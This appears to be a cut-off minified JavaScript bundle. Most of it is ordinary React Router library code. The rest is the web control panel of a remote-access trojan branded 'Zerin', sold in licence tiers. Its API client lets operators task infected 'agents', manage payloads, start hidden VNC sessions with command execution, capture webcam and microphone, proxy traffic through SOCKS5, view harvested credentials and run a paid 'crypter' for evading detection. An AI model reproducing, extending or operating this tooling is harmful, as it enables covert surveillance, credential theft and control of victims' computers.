o=d5(e);WP(o);let l=null;for(let c=0;l==null&&c{let c={relativePath:l===void 0?s.path||"":l,caseSensitive:s.caseSensitive===!0,childrenIndex:o,route:s};c.relativePath.startsWith("/")&&(Xe(c.relativePath.startsWith(r),'Absolute route path "'+c.relativePath+'" nested under path '+('"'+r+'" is not valid. An absolute child route path ')+"must start with the combined path of all its parent routes."),c.relativePath=c.relativePath.slice(r.length));let u=yi([r,c.relativePath]),d=n.concat(c);s.children&&s.children.length>0&&(Xe(s.index!==!0,"Index routes must not have child routes. Please remove "+('all child routes from route path "'+u+'".')),d5(s.children,t,d,u)),!(s.path==null&&!s.index)&&t.push({path:u,score:GP(u,s.index),routesMeta:d})};return e.forEach((s,o)=>{var l;if(s.path===""||!((l=s.path)!=null&&l.includes("?")))i(s,o);else for(let c of f5(s.path))i(s,o,c)}),t}function f5(e){let t=e.split("/");if(t.length===0)return[];let[n,...r]=t,i=n.endsWith("?"),s=n.replace(/\?$/,"");if(r.length===0)return i?[s,""]:[s];let o=f5(r.join("/")),l=[];return l.push(...o.map(c=>c===""?s:[s,c].join("/"))),i&&l.push(...o),l.map(c=>e.startsWith("/")&&c===""?"/":c)}function WP(e){e.sort((t,n)=>t.score!==n.score?n.score-t.score:XP(t.routesMeta.map(r=>r.childrenIndex),n.routesMeta.map(r=>r.childrenIndex)))}const UP=/^:[\w-]+$/,VP=3,HP=2,KP=1,YP=10,qP=-2,Ug=e=>e==="*";function GP(e,t){let n=e.split("/"),r=n.length;return n.some(Ug)&&(r+=qP),t&&(r+=HP),n.filter(i=>!Ug(i)).reduce((i,s)=>i+(UP.test(s)?VP:s===""?KP:YP),r)}function XP(e,t){return e.length===t.length&&e.slice(0,-1).every((r,i)=>r===t[i])?e[e.length-1]-t[t.length-1]:0}function ZP(e,t,n){let{routesMeta:r}=e,i={},s="/",o=[];for(let l=0;l{let{paramName:p,isOptional:h}=d;if(p==="*"){let g=l[f]||"";o=s.slice(0,s.length-g.length).replace(/(.)\/+$/,"$1")}const x=l[f];return h&&!x?u[p]=void 0:u[p]=(x||"").replace(/%2F/g,"/"),u},{}),pathname:s,pathnameBase:o,pattern:e}}function QP(e,t,n){t===void 0&&(t=!1),n===void 0&&(n=!0),Nx(e==="*"||!e.endsWith("*")||e.endsWith("/*"),'Route path "'+e+'" will be treated as if it were '+('"'+e.replace(/\*$/,"/*")+'" because the `*` character must ')+"always follow a `/` in the pattern. To get rid of this warning, "+('please change the route path to "'+e.replace(/\*$/,"/*")+'".'));let r=[],i="^"+e.replace(/\/*\*?$/,"").replace(/^\/*/,"/").replace(/[\\.*+^${}|()[\]]/g,"\\$&").replace(/\/:([\w-]+)(\?)?/g,(o,l,c)=>(r.push({paramName:l,isOptional:c!=null}),c?"/?([^\\/]+)?":"/([^\\/]+)"));return e.endsWith("*")?(r.push({paramName:"*"}),i+=e==="*"||e==="/*"?"(.*)$":"(?:\\/(.+)|\\/*)$"):n?i+="\\/*$":e!==""&&e!=="/"&&(i+="(?:(?=\\/|$))"),[new RegExp(i,t?void 0:"i"),r]}function JP(e){try{return e.split("/").map(t=>decodeURIComponent(t).replace(/\//g,"%2F")).join("/")}catch(t){return Nx(!1,'The URL path "'+e+'" could not be decoded because it is is a malformed URL segment. This is probably due to a bad percent '+("encoding ("+t+").")),e}}function ss(e,t){if(t==="/")return e;if(!e.toLowerCase().startsWith(t.toLowerCase()))return null;let n=t.endsWith("/")?t.length-1:t.length,r=e.charAt(n);return r&&r!=="/"?null:e.slice(n)||"/"}const eE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,tE=e=>eE.test(e);function nE(e,t){t===void 0&&(t="/");let{pathname:n,search:r="",hash:i=""}=typeof e=="string"?vs(e):e,s;if(n)if(tE(n))s=n;else{if(n.includes("//")){let o=n;n=n.replace(/\/\/+/g,"/"),Nx(!1,"Pathnames cannot have embedded double slashes - normalizing "+(o+" -> "+n))}n.startsWith("/")?s=Vg(n.substring(1),"/"):s=Vg(n,t)}else s=t;return{pathname:s,search:aE(r),hash:sE(i)}}function Vg(e,t){let n=t.replace(/\/+$/,"").split("/");return e.split("/").forEach(i=>{i===".."?n.length>1&&n.pop():i!=="."&&n.push(i)}),n.length>1?n.join("/"):"/"}function em(e,t,n,r){return"Cannot include a '"+e+"' character in a manually specified "+("`to."+t+"` field ["+JSON.stringify(r)+"]. Please separate it out to the ")+("`to."+n+"` field. Alternatively you may provide the full path as ")+'a string in and the router will parse it for you.'}function rE(e){return e.filter((t,n)=>n===0||t.route.path&&t.route.path.length>0)}function kx(e,t){let n=rE(e);return t?n.map((r,i)=>i===n.length-1?r.pathname:r.pathnameBase):n.map(r=>r.pathnameBase)}function zx(e,t,n,r){r===void 0&&(r=!1);let i;typeof e=="string"?i=vs(e):(i=Ao({},e),Xe(!i.pathname||!i.pathname.includes("?"),em("?","pathname","search",i)),Xe(!i.pathname||!i.pathname.includes("#"),em("#","pathname","hash",i)),Xe(!i.search||!i.search.includes("#"),em("#","search","hash",i)));let s=e===""||i.pathname==="",o=s?"/":i.pathname,l;if(o==null)l=n;else{let f=t.length-1;if(!r&&o.startsWith("..")){let p=o.split("/");for(;p[0]==="..";)p.shift(),f-=1;i.pathname=p.join("/")}l=f>=0?t[f]:"/"}let c=nE(i,l),u=o&&o!=="/"&&o.endsWith("/"),d=(s||o===".")&&n.endsWith("/");return!c.pathname.endsWith("/")&&(u||d)&&(c.pathname+="/"),c}const yi=e=>e.join("/").replace(/\/\/+/g,"/"),iE=e=>e.replace(/\/+$/,"").replace(/^\/*/,"/"),aE=e=>!e||e==="?"?"":e.startsWith("?")?e:"?"+e,sE=e=>!e||e==="#"?"":e.startsWith("#")?e:"#"+e;function oE(e){return e!=null&&typeof e.status=="number"&&typeof e.statusText=="string"&&typeof e.internal=="boolean"&&"data"in e}const m5=["post","put","patch","delete"];new Set(m5);const lE=["get",...m5];new Set(lE);/** + * React Router v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Oo(){return Oo=Object.assign?Object.assign.bind():function(e){for(var t=1;t{l.current=!0}),m.useCallback(function(u,d){if(d===void 0&&(d={}),!l.current)return;if(typeof u=="number"){r.go(u);return}let f=zx(u,JSON.parse(o),s,d.relative==="path");e==null&&t!=="/"&&(f.pathname=f.pathname==="/"?t:yi([t,f.pathname])),(d.replace?r.replace:r.push)(f,d.state,d)},[t,r,o,s,e])}const dE=m.createContext(null);function fE(e){let t=m.useContext(hr).outlet;return t&&m.createElement(dE.Provider,{value:e},t)}function rl(){let{matches:e}=m.useContext(hr),t=e[e.length-1];return t?t.params:{}}function dd(e,t){let{relative:n}=t===void 0?{}:t,{future:r}=m.useContext(Vr),{matches:i}=m.useContext(hr),{pathname:s}=ga(),o=JSON.stringify(kx(i,r.v7_relativeSplatPath));return m.useMemo(()=>zx(e,JSON.parse(o),s,n==="path"),[e,o,s,n])}function mE(e,t){return pE(e,t)}function pE(e,t,n,r){gs()||Xe(!1);let{navigator:i}=m.useContext(Vr),{matches:s}=m.useContext(hr),o=s[s.length-1],l=o?o.params:{};o&&o.pathname;let c=o?o.pathnameBase:"/";o&&o.route;let u=ga(),d;if(t){var f;let y=typeof t=="string"?vs(t):t;c==="/"||(f=y.pathname)!=null&&f.startsWith(c)||Xe(!1),d=y}else d=u;let p=d.pathname||"/",h=p;if(c!=="/"){let y=c.replace(/^\//,"").split("/");h="/"+p.replace(/^\//,"").split("/").slice(y.length).join("/")}let x=BP(e,{pathname:h}),g=yE(x&&x.map(y=>Object.assign({},y,{params:Object.assign({},l,y.params),pathname:yi([c,i.encodeLocation?i.encodeLocation(y.pathname).pathname:y.pathname]),pathnameBase:y.pathnameBase==="/"?c:yi([c,i.encodeLocation?i.encodeLocation(y.pathnameBase).pathname:y.pathnameBase])})),s,n,r);return t&&g?m.createElement(ud.Provider,{value:{location:Oo({pathname:"/",search:"",hash:"",state:null,key:"default"},d),navigationType:ci.Pop}},g):g}function hE(){let e=NE(),t=oE(e)?e.status+" "+e.statusText:e instanceof Error?e.message:JSON.stringify(e),n=e instanceof Error?e.stack:null,i={padding:"0.5rem",backgroundColor:"rgba(200,200,200, 0.5)"};return m.createElement(m.Fragment,null,m.createElement("h2",null,"Unexpected Application Error!"),m.createElement("h3",{style:{fontStyle:"italic"}},t),n?m.createElement("pre",{style:i},n):null,null)}const xE=m.createElement(hE,null);class vE extends m.Component{constructor(t){super(t),this.state={location:t.location,revalidation:t.revalidation,error:t.error}}static getDerivedStateFromError(t){return{error:t}}static getDerivedStateFromProps(t,n){return n.location!==t.location||n.revalidation!=="idle"&&t.revalidation==="idle"?{error:t.error,location:t.location,revalidation:t.revalidation}:{error:t.error!==void 0?t.error:n.error,location:n.location,revalidation:t.revalidation||n.revalidation}}componentDidCatch(t,n){console.error("React Router caught the following error during render",t,n)}render(){return this.state.error!==void 0?m.createElement(hr.Provider,{value:this.props.routeContext},m.createElement(h5.Provider,{value:this.state.error,children:this.props.component})):this.props.children}}function gE(e){let{routeContext:t,match:n,children:r}=e,i=m.useContext(cd);return i&&i.static&&i.staticContext&&(n.route.errorElement||n.route.ErrorBoundary)&&(i.staticContext._deepestRenderedBoundaryId=n.route.id),m.createElement(hr.Provider,{value:t},r)}function yE(e,t,n,r){var i;if(t===void 0&&(t=[]),n===void 0&&(n=null),r===void 0&&(r=null),e==null){var s;if(!n)return null;if(n.errors)e=n.matches;else if((s=r)!=null&&s.v7_partialHydration&&t.length===0&&!n.initialized&&n.matches.length>0)e=n.matches;else return null}let o=e,l=(i=n)==null?void 0:i.errors;if(l!=null){let d=o.findIndex(f=>f.route.id&&(l==null?void 0:l[f.route.id])!==void 0);d>=0||Xe(!1),o=o.slice(0,Math.min(o.length,d+1))}let c=!1,u=-1;if(n&&r&&r.v7_partialHydration)for(let d=0;d=0?o=o.slice(0,u+1):o=[o[0]];break}}}return o.reduceRight((d,f,p)=>{let h,x=!1,g=null,y=null;n&&(h=l&&f.route.id?l[f.route.id]:void 0,g=f.route.errorElement||xE,c&&(u<0&&p===0?(zE("route-fallback"),x=!0,y=null):u===p&&(x=!0,y=f.route.hydrateFallbackElement||null)));let v=t.concat(o.slice(0,p+1)),b=()=>{let w;return h?w=g:x?w=y:f.route.Component?w=m.createElement(f.route.Component,null):f.route.element?w=f.route.element:w=d,m.createElement(gE,{match:f,routeContext:{outlet:d,matches:v,isDataRoute:n!=null},children:w})};return n&&(f.route.ErrorBoundary||f.route.errorElement||p===0)?m.createElement(vE,{location:n.location,revalidation:n.revalidation,component:g,error:h,children:b(),routeContext:{outlet:null,matches:v,isDataRoute:!0}}):b()},null)}var v5=function(e){return e.UseBlocker="useBlocker",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e}(v5||{}),g5=function(e){return e.UseBlocker="useBlocker",e.UseLoaderData="useLoaderData",e.UseActionData="useActionData",e.UseRouteError="useRouteError",e.UseNavigation="useNavigation",e.UseRouteLoaderData="useRouteLoaderData",e.UseMatches="useMatches",e.UseRevalidator="useRevalidator",e.UseNavigateStable="useNavigate",e.UseRouteId="useRouteId",e}(g5||{});function bE(e){let t=m.useContext(cd);return t||Xe(!1),t}function wE(e){let t=m.useContext(p5);return t||Xe(!1),t}function jE(e){let t=m.useContext(hr);return t||Xe(!1),t}function y5(e){let t=jE(),n=t.matches[t.matches.length-1];return n.route.id||Xe(!1),n.route.id}function NE(){var e;let t=m.useContext(h5),n=wE(),r=y5();return t!==void 0?t:(e=n.errors)==null?void 0:e[r]}function kE(){let{router:e}=bE(v5.UseNavigateStable),t=y5(g5.UseNavigateStable),n=m.useRef(!1);return x5(()=>{n.current=!0}),m.useCallback(function(i,s){s===void 0&&(s={}),n.current&&(typeof i=="number"?e.navigate(i):e.navigate(i,Oo({fromRouteId:t},s)))},[e,t])}const Hg={};function zE(e,t,n){Hg[e]||(Hg[e]=!0)}function SE(e,t){e==null||e.v7_startTransition,e==null||e.v7_relativeSplatPath}function la(e){let{to:t,replace:n,state:r,relative:i}=e;gs()||Xe(!1);let{future:s,static:o}=m.useContext(Vr),{matches:l}=m.useContext(hr),{pathname:c}=ga(),u=xr(),d=zx(t,kx(l,s.v7_relativeSplatPath),c,i==="path"),f=JSON.stringify(d);return m.useEffect(()=>u(JSON.parse(f),{replace:n,state:r,relative:i}),[u,f,i,n,r]),null}function CE(e){return fE(e.context)}function mt(e){Xe(!1)}function PE(e){let{basename:t="/",children:n=null,location:r,navigationType:i=ci.Pop,navigator:s,static:o=!1,future:l}=e;gs()&&Xe(!1);let c=t.replace(/^\/*/,"/"),u=m.useMemo(()=>({basename:c,navigator:s,static:o,future:Oo({v7_relativeSplatPath:!1},l)}),[c,l,s,o]);typeof r=="string"&&(r=vs(r));let{pathname:d="/",search:f="",hash:p="",state:h=null,key:x="default"}=r,g=m.useMemo(()=>{let y=ss(d,c);return y==null?null:{location:{pathname:y,search:f,hash:p,state:h,key:x},navigationType:i}},[c,d,f,p,h,x,i]);return g==null?null:m.createElement(Vr.Provider,{value:u},m.createElement(ud.Provider,{children:n,value:g}))}function EE(e){let{children:t,location:n}=e;return mE(Ep(t),n)}new Promise(()=>{});function Ep(e,t){t===void 0&&(t=[]);let n=[];return m.Children.forEach(e,(r,i)=>{if(!m.isValidElement(r))return;let s=[...t,i];if(r.type===m.Fragment){n.push.apply(n,Ep(r.props.children,s));return}r.type!==mt&&Xe(!1),!r.props.index||!r.props.children||Xe(!1);let o={id:r.props.id||s.join("-"),caseSensitive:r.props.caseSensitive,element:r.props.element,Component:r.props.Component,index:r.props.index,path:r.props.path,loader:r.props.loader,action:r.props.action,errorElement:r.props.errorElement,ErrorBoundary:r.props.ErrorBoundary,hasErrorBoundary:r.props.ErrorBoundary!=null||r.props.errorElement!=null,shouldRevalidate:r.props.shouldRevalidate,handle:r.props.handle,lazy:r.props.lazy};r.props.children&&(o.children=Ep(r.props.children,s)),n.push(o)}),n}/** + * React Router DOM v6.30.3 + * + * Copyright (c) Remix Software Inc. + * + * This source code is licensed under the MIT license found in the + * LICENSE.md file in the root directory of this source tree. + * + * @license MIT + */function Qc(){return Qc=Object.assign?Object.assign.bind():function(e){for(var t=1;t=0)&&(n[i]=e[i]);return n}function _E(e){return!!(e.metaKey||e.altKey||e.ctrlKey||e.shiftKey)}function AE(e,t){return e.button===0&&(!t||t==="_self")&&!_E(e)}function _p(e){return e===void 0&&(e=""),new URLSearchParams(typeof e=="string"||Array.isArray(e)||e instanceof URLSearchParams?e:Object.keys(e).reduce((t,n)=>{let r=e[n];return t.concat(Array.isArray(r)?r.map(i=>[n,i]):[[n,r]])},[]))}function OE(e,t){let n=_p(e);return t&&t.forEach((r,i)=>{n.has(i)||t.getAll(i).forEach(s=>{n.append(i,s)})}),n}const TE=["onClick","relative","reloadDocument","replace","state","target","to","preventScrollReset","viewTransition"],ME=["aria-current","caseSensitive","className","end","style","to","viewTransition","children"],LE="6";try{window.__reactRouterVersion=LE}catch{}const IE=m.createContext({isTransitioning:!1}),DE="startTransition",Kg=lw[DE];function RE(e){let{basename:t,children:n,future:r,window:i}=e,s=m.useRef();s.current==null&&(s.current=DP({window:i,v5Compat:!0}));let o=s.current,[l,c]=m.useState({action:o.action,location:o.location}),{v7_startTransition:u}=r||{},d=m.useCallback(f=>{u&&Kg?Kg(()=>c(f)):c(f)},[c,u]);return m.useLayoutEffect(()=>o.listen(d),[o,d]),m.useEffect(()=>SE(r),[r]),m.createElement(PE,{basename:t,children:n,location:l.location,navigationType:l.action,navigator:o,future:r})}const $E=typeof window<"u"&&typeof window.document<"u"&&typeof window.document.createElement<"u",BE=/^(?:[a-z][a-z0-9+.-]*:|\/\/)/i,xt=m.forwardRef(function(t,n){let{onClick:r,relative:i,reloadDocument:s,replace:o,state:l,target:c,to:u,preventScrollReset:d,viewTransition:f}=t,p=b5(t,TE),{basename:h}=m.useContext(Vr),x,g=!1;if(typeof u=="string"&&BE.test(u)&&(x=u,$E))try{let w=new URL(window.location.href),j=u.startsWith("//")?new URL(w.protocol+u):new URL(u),N=ss(j.pathname,h);j.origin===w.origin&&N!=null?u=N+j.search+j.hash:g=!0}catch{}let y=cE(u,{relative:i}),v=UE(u,{replace:o,state:l,target:c,preventScrollReset:d,relative:i,viewTransition:f});function b(w){r&&r(w),w.defaultPrevented||v(w)}return m.createElement("a",Qc({},p,{href:x||y,onClick:g||s?r:b,ref:n,target:c}))}),FE=m.forwardRef(function(t,n){let{"aria-current":r="page",caseSensitive:i=!1,className:s="",end:o=!1,style:l,to:c,viewTransition:u,children:d}=t,f=b5(t,ME),p=dd(c,{relative:f.relative}),h=ga(),x=m.useContext(p5),{navigator:g,basename:y}=m.useContext(Vr),v=x!=null&&VE(p)&&u===!0,b=g.encodeLocation?g.encodeLocation(p).pathname:p.pathname,w=h.pathname,j=x&&x.navigation&&x.navigation.location?x.navigation.location.pathname:null;i||(w=w.toLowerCase(),j=j?j.toLowerCase():null,b=b.toLowerCase()),j&&y&&(j=ss(j,y)||j);const N=b!=="/"&&b.endsWith("/")?b.length-1:b.length;let z=w===b||!o&&w.startsWith(b)&&w.charAt(N)==="/",k=j!=null&&(j===b||!o&&j.startsWith(b)&&j.charAt(b.length)==="/"),S={isActive:z,isPending:k,isTransitioning:v},A=z?r:void 0,_;typeof s=="function"?_=s(S):_=[s,z?"active":null,k?"pending":null,v?"transitioning":null].filter(Boolean).join(" ");let O=typeof l=="function"?l(S):l;return m.createElement(xt,Qc({},f,{"aria-current":A,className:_,ref:n,style:O,to:c,viewTransition:u}),typeof d=="function"?d(S):d)});var Ap;(function(e){e.UseScrollRestoration="useScrollRestoration",e.UseSubmit="useSubmit",e.UseSubmitFetcher="useSubmitFetcher",e.UseFetcher="useFetcher",e.useViewTransitionState="useViewTransitionState"})(Ap||(Ap={}));var Yg;(function(e){e.UseFetcher="useFetcher",e.UseFetchers="useFetchers",e.UseScrollRestoration="useScrollRestoration"})(Yg||(Yg={}));function WE(e){let t=m.useContext(cd);return t||Xe(!1),t}function UE(e,t){let{target:n,replace:r,state:i,preventScrollReset:s,relative:o,viewTransition:l}=t===void 0?{}:t,c=xr(),u=ga(),d=dd(e,{relative:o});return m.useCallback(f=>{if(AE(f,n)){f.preventDefault();let p=r!==void 0?r:Zc(u)===Zc(d);c(e,{replace:p,state:i,preventScrollReset:s,relative:o,viewTransition:l})}},[u,c,d,r,i,n,e,s,o,l])}function Sx(e){let t=m.useRef(_p(e)),n=m.useRef(!1),r=ga(),i=m.useMemo(()=>OE(r.search,n.current?null:t.current),[r.search]),s=xr(),o=m.useCallback((l,c)=>{const u=_p(typeof l=="function"?l(i):l);n.current=!0,s("?"+u,c)},[s,i]);return[i,o]}function VE(e,t){t===void 0&&(t={});let n=m.useContext(IE);n==null&&Xe(!1);let{basename:r}=WE(Ap.useViewTransitionState),i=dd(e,{relative:t.relative});if(!n.isTransitioning)return!1;let s=ss(n.currentLocation.pathname,r)||n.currentLocation.pathname,o=ss(n.nextLocation.pathname,r)||n.nextLocation.pathname;return Pp(i.pathname,o)!=null||Pp(i.pathname,s)!=null}const fd="zerin_token",md="zerin_role",pd="zerin_tier";(function(){if(!window.opener)return;function t(n){var r;n.origin===window.location.origin&&((r=n.data)==null?void 0:r.type)==="zerin_auth"&&typeof n.data.token=="string"&&(sessionStorage.setItem(fd,n.data.token),n.data.role&&sessionStorage.setItem(md,n.data.role),window.removeEventListener("message",t),window.dispatchEvent(new CustomEvent("zerin_auth_ready")))}window.addEventListener("message",t),window.opener.postMessage({type:"zerin_auth_request"},window.location.origin)})();function st(){return sessionStorage.getItem(fd)}function Cx(e){sessionStorage.setItem(fd,e)}function il(){sessionStorage.removeItem(fd),sessionStorage.removeItem(md),sessionStorage.removeItem(pd),To=null}function w5(){return sessionStorage.getItem(pd)||"rat"}let To=null;function HE(){return st()?To&&Date.now()/1e3>To?(il(),!1):!0:!1}class bi extends Error{constructor(t,n){super(n),this.status=t,this.name="ApiError"}}async function Ce(e,t={}){const n=st(),r={"Content-Type":"application/json",...t.headers};n&&(r.Authorization=`Bearer ${n}`);const i=await fetch(e,{...t,headers:r});if(i.status===401){il(),zi();const s=await i.text().catch(()=>"");let o="Unauthorized";if(s)try{o=JSON.parse(s).error||o}catch{o=s}throw new bi(401,o)}if(!i.ok){const s=await i.text().catch(()=>"");let o=`Request failed (HTTP ${i.status}). Please try again or contact support.`;if(s)try{o=JSON.parse(s).error||o}catch{}throw new bi(i.status,o)}if(i.status!==204)return i.json()}async function j5(e){const t=new TextEncoder().encode(e),n=await crypto.subtle.digest("SHA-256",t);return Array.from(new Uint8Array(n)).map(r=>r.toString(16).padStart(2,"0")).join("")}async function KE(e){const t=await j5(e.password),n=await Ce("/api/auth/login",{method:"POST",body:JSON.stringify({...e,password:t})});return Cx(n.token),To=n.expires_at,n.role&&sessionStorage.setItem(md,n.role),n.tier&&sessionStorage.setItem(pd,n.tier),zi(),n}async function YE(e){const t=await j5(e.password),n=await Ce("/api/auth/register",{method:"POST",body:JSON.stringify({...e,password:t})});return Cx(n.token),To=n.expires_at,n.role&&sessionStorage.setItem(md,n.role),n.tier&&sessionStorage.setItem(pd,n.tier),zi(),n}async function N5(e){return Ce("/api/agents")}async function qE(e){return Ce(`/api/agents/${e}`)}async function k5(e){return Ce(`/api/agents/${e}`,{method:"DELETE"})}async function GE(e){await Promise.all(e.map(t=>k5(t)))}async function XE(e){return Ce(`/api/agents/${e}/ban`,{method:"POST"})}async function ZE(e){return Ce(`/api/agents/${e}/unban`,{method:"POST"})}async function Me(e,t){return Ce(`/api/agents/${e}/tasks`,{method:"POST",body:JSON.stringify(t)})}async function Xn(e){return Ce(`/api/agents/${e}/tasks`)}async function QE(){return Ce("/api/events")}async function JE(e,t){return Ce(`/api/agents/${e}/tags`,{method:"PUT",body:JSON.stringify({tags:t})})}async function e_(e){return Ce("/api/payloads",{method:"POST",body:JSON.stringify(e)})}async function t_(){return Ce("/api/payloads")}async function n_(){return Ce("/api/server-info")}async function r_(e){return Ce(`/api/payloads/${e}`,{method:"DELETE"})}async function Px(e){return Ce(`/api/agents/${e}/vnc/start`,{method:"POST"})}async function i_(e){return Ce(`/api/agents/${e}/vnc/stop`,{method:"POST"})}async function z5(e){return Ce(`/api/agents/${e}/hvnc/start`,{method:"POST"})}async function a_(e){return Ce(`/api/agents/${e}/hvnc/stop`,{method:"POST"})}async function s_(e,t,n=!1){return Ce(`/api/agents/${e}/hvnc/exec`,{method:"POST",body:JSON.stringify({command:t,clone_session:n})})}async function S5(e,t=-1){return Ce(`/api/agents/${e}/webcam/start`,{method:"POST",headers:{"Content-Type":"application/json"},body:JSON.stringify({device_index:t})})}async function o_(e){return Ce(`/api/agents/${e}/webcam/stop`,{method:"POST"})}async function C5(e){return Ce(`/api/agents/${e}/mic/start`,{method:"POST"})}async function l_(e){return Ce(`/api/agents/${e}/mic/stop`,{method:"POST"})}async function P5(e){return Ce(`/api/agents/${e}/socks5/start`,{method:"POST"})}async function c_(e){return Ce(`/api/agents/${e}/socks5/stop`,{method:"POST"})}async function u_(e){return Ce(`/api/agents/${e}/socks5/status`)}async function d_(e){const t=st(),n={};t&&(n.Authorization=`Bearer ${t}`);const r=await fetch("/api/crypter/crypt",{method:"POST",headers:n,body:e});if(r.status===401)throw il(),zi(),new bi(401,"Unauthorized");if(r.status===403){const i=await r.json().catch(()=>({}));throw new bi(403,i.error||"Crypter requires WebRAT + Crypter license")}if(!r.ok){const i=await r.json().catch(()=>({}));throw new bi(r.status,i.error||`Crypt failed (HTTP ${r.status})`)}return r.blob()}async function f_(){return Ce("/api/admin/keys")}async function m_(e){return Ce("/api/admin/keys",{method:"POST",body:JSON.stringify(e)})}async function p_(e){return Ce(`/api/admin/keys/${e}/revoke`,{method:"POST"})}async function h_(){return Ce("/api/admin/operators")}async function x_(e,t){return Ce(`/api/admin/operators/${e}/extend`,{method:"POST",body:JSON.stringify({duration:t})})}async function v_(e,t){return Ce(`/api/admin/operators/${e}/tier`,{method:"POST",body:JSON.stringify({tier:t})})}async function g_(){return Ce("/api/credentials")}let bc=[];function y_(e){return bc.push(e),()=>{bc=bc.filter(t=>t!==e)}}function b_(){return HE()}function zi(){bc.forEach(e=>e())}function w_(){const e=st();if(!e)return null;try{const t=e.split(".");if(t.length!==3)return null;const n=t[1].replace(/-/g,"+").replace(/_/g,"/"),r=JSON.parse(atob(n));return typeof r.role=="string"?r.role:null}catch{return null}}function ya(){const e=m.useSyncExternalStore(y_,b_),t=m.useCallback(()=>{zi()},[]),n=m.useCallback(()=>{il(),zi()},[]),r=e?w_():null;return{isAuthenticated:e,token:st(),role:r,isAdmin:r==="admin",logout:n,refreshAuth:t}}class j_ extends m.Component{constructor(t){super(t),this.state={hasError:!1}}static getDerivedStateFromError(){return{hasError:!0}}componentDidCatch(t,n){}render(){return this.state.hasError?a.jsx("div",{className:"flex items-center justify-center h-screen bg-zerin-bg",children:a.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Something went wrong"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-6",children:"An unexpected error occurred. Please reload the page to continue."}),a.jsx("button",{onClick:()=>window.location.reload(),className:`inline-flex items-center gap-2 text-sm font-medium text-white\r + bg-zerin-accent hover:bg-zerin-accent-hover\r + px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function N_(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,s]=m.useState(!1),[o,l]=m.useState(null),c=m.useRef(null),u=m.useRef(0),d=m.useRef(),f=m.useRef(t);f.current=t;const p=m.useCallback(()=>{const x=st();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws?token=${encodeURIComponent(x)}`,v=new WebSocket(y);c.current=v,v.onopen=()=>{s(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(s(!1),c.current=null,u.current{p()},w)}else il(),zi()},v.onerror=()=>{v.close()}},[n,r]),h=m.useCallback(()=>{u.current=0,p()},[p]);return m.useEffect(()=>(p(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[p]),{isConnected:i,lastMessage:o,reconnect:h}}const tm="zerin_notifications_enabled";function k_(){const[e,t]=m.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=m.useState(()=>localStorage.getItem(tm)==="true");m.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=m.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(tm,"true"))},[]),s=m.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(tm,String(c)),c})},[]),o=m.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:s,notify:o,isSupported:typeof Notification<"u"}}const nm="zerin-uwu-mode",qg=20,z_=3e3;function S_(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),s=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.05,t+.04),s.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(s).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function C_(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function P_(e){try{const t=new 